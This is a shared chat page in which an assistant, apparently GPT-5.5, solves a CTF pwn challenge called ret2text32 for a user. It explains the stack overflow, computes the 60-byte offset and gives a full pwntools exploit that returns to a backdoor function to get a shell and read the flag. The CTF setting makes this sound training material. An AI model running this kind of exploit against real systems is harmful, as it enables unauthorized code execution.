这是一道ctf题目(pwn),然后请你帮我分析得到flag
تم الإنشاء في: ٢٣ مايو ٢٠٢٦
تمت الإجابة باستخدام GPT-5.5 Thinking بواسطة Chat01
تم الإنشاء في: ٢٣ مايو ٢٠٢٦
تمت الإجابة باستخدام GPT-5.5 Thinking بواسطة Chat01
这是一道ctf题目(pwn),然后请你帮我分析得到flag
可以,题目就是 ret2text32,利用思路已经确定。
源码里 backdoor() 直接执行 system("/bin/sh"),而 vuln() 里 char buf[48] 却 read(0, buf, 0x200),存在栈溢出。(main.c)
二进制信息:
text32-bit ELF No PIE No Canary NX enabled backdoor = 0x08049213
vuln() 反汇编里缓冲区地址是:
asmlea eax, [ebp-0x38]
返回地址在:
textebp + 4
所以覆盖返回地址的偏移是:
text0x38 + 4 = 0x3c = 60
最终 payload:
pythonb"A" * 60 + p32(0x08049213)
也就是:
text41414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414113920408
pythonfrom pwn import * context.arch = "i386" elf = ELF("./ret2text32") io = remote("HOST", PORT) # io = process("./ret2text32") payload = b"A" * 60 + p32(0x08049213) io.recvuntil(b"Input: ") io.sendline(payload) io.sendline(b"cat flag") io.interactive()
把 HOST 和 PORT 换成远程靶机地址即可。
我也给你写好了一个可直接用的脚本:
用法:
bashpython3 solve_ret2text32.py HOST PORT "cat flag"
或者:
bashpython3 solve_ret2text32.py HOST PORT
脚本默认会尝试:
bashcat flag cat flag.txt cat /flag
你上传的附件里只有 main.c 和 ret2text32,没有本地 flag 文件;而且当前环境无法直接执行这个 32 位 ELF,所以我无法在本地直接读出真实 flag。利用链已经完整,拿到远程地址后运行上面的脚本即可得到 flag。